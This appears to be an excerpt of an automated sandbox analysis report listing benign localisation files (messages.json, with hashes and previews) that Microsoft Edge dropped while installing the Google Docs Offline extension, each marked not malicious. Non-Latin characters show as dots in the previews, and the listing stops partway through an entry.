Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
